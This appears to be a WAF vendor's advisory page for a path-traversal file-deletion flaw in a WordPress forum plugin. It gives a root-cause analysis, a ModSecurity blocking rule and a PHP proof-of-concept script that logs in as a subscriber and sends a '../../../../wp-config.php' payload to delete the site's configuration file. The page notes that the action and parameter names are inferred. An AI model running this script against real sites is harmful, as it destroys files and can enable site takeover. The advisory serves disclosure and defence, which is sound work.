Published : November 18, 2026

CVE-2026-118521: Toolbox for Asgaros Forum <= 1.2.4 Authenticated (Subscriber+) Arbitrary File Deletion via Path Traversal via Forum Post 'message' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.5)
CWE 22
Vulnerable Version 1.2.4
Patched Version —
Disclosed November 17, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-118521 (metadata-based): This vulnerability allows authenticated attackers with Subscriber-level access to delete arbitrary files on the server by exploiting a path traversal flaw in the replace_temp_pics function of the Toolbox for Asgaros Forum plugin (versions up to and including 1.2.4). The CVSS score is 6.5 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N. The flaw is reachable only when the Inline Image Upload feature is enabled by an administrator (disabled by default). Atomic Edge analysis confirms that the plugin fails to properly validate user-supplied file paths before deletion, enabling an attacker to traverse directories and remove critical files such as wp-config.php, which can lead to remote code execution.

Root Cause: The root cause is an improper limitation of a pathname to a restricted directory (CWE-22). The replace_temp_pics function likely accepts a file path from user input (e.g., the ‘message’ parameter of a forum post) and passes it to an unlink() call without canonicalizing or restricting the path to the intended temporary image directory. Atomic Edge research infers this from the CWE classification and the function name. No source code diff is available, so the exact implementation flaw (e.g., lack of realpath() check, missing basename() sanitization, or insufficient validation) is inferred, not confirmed. The vulnerability resides in the plugin’s handling of inline image uploads, where temporary files are referenced and later deleted.

Exploitation: An attacker with Subscriber-level credentials can craft a malicious forum post containing a specially crafted ‘message’ parameter that includes a path traversal sequence (e.g., ../../../../wp-config.php). When the post is submitted, the plugin’s replace_temp_pics function processes the message, extracts the file path, and attempts to delete the file. The request would target the standard WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with an action corresponding to the plugin’s post submission handler (likely ‘asgaros_forum_submit_post’ or similar). Atomic Edge analysis assumes the attacker must be authenticated and that the Inline Image Upload feature is enabled. The payload is delivered via a POST request to admin-ajax.php with the ‘message’ parameter containing the traversal path. The exact action name and parameter name are inferred from the plugin context and vulnerability description; no code confirms them.

Remediation: The fix requires implementing proper path validation in the replace_temp_pics function. The plugin should canonicalize the user-supplied path using realpath() and verify that the resolved path resides within the intended temporary image directory (e.g., wp-content/uploads/asgaros-forum/temp/). Alternatively, the plugin should avoid using user-supplied paths entirely and instead use a whitelist of allowed filenames or generate temporary filenames server-side. Atomic Edge research recommends that the plugin also enforce capability checks and nonce verification for the file deletion operation, though the CWE suggests the primary issue is path traversal.

Impact: Successful exploitation allows an authenticated Subscriber to delete arbitrary files on the WordPress server. Deleting wp-config.php can force a WordPress reinstallation, potentially allowing an attacker to take over the site by providing new database credentials. Deleting other critical files (e.g., .htaccess, index.php) can cause denial of service or bypass security controls. Atomic Edge analysis assesses the overall impact as high for confidentiality (C:H) because deletion of configuration files can expose sensitive information, but the CVSS vector indicates no direct impact on integrity or availability. However, the potential for remote code execution via deletion of wp-config.php elevates the practical risk beyond the CVSS score.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-118521 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026118521,phase:2,deny,status:403,chain,msg:'CVE-2026-118521 via Toolbox for Asgaros Forum AJAX',severity:'CRITICAL',tag:'CVE-2026-118521'"
  SecRule ARGS_POST:action "@streq asgaros_forum_submit_post" "chain"
    SecRule ARGS_POST:message "@rx ../" "t:urlDecodeUni"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-118521 - Toolbox for Asgaros Forum <= 1.2.4 - Authenticated (Subscriber+) Arbitrary File Deletion via Path Traversal via Forum Post 'message' Parameter

// This PoC assumes:
// 1. The target WordPress site has the Toolbox for Asgaros Forum plugin (<= 1.2.4) installed and active.
// 2. The 'Inline Image Upload' feature is enabled in the plugin settings.
// 3. The attacker has valid Subscriber-level credentials.
// 4. The plugin uses an AJAX action (e.g., 'asgaros_forum_submit_post') to submit forum posts with a 'message' parameter.
// The exact action and parameter names are inferred; adjust if needed.

$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'subscriber'; // Subscriber username
$password = 'password'; // Subscriber password
$file_to_delete = '../../../../wp-config.php'; // Path traversal payload

// Step 1: Authenticate and obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Extract nonce from a forum page (if required). This is a placeholder; the actual nonce extraction depends on the plugin's implementation.
// For a real exploit, parse the page for a nonce field. We assume the action does not require a nonce for simplicity, or we fetch it.

// Step 3: Send the malicious request to delete the file
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
// The action name and parameters are inferred. Common patterns: 'asgaros_forum_submit_post' or 'asgaros_forum_upload_file'.
$post_fields = [
    'action' => 'asgaros_forum_submit_post', // Inferred action
    'message' => 'Test post [temp-pic]' . $file_to_delete . '[/temp-pic]', // Payload embedded in message
    // Additional fields may be required: forum_id, topic_id, etc.
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Request sent. HTTP status: $http_coden";
echo "Response: $responsen";

// Step 4: Verify deletion by accessing the file (optional). For wp-config.php, a 500 error indicates deletion.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-config.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_NOBODY, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "wp-config.php HTTP status after exploit: $http_coden";

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.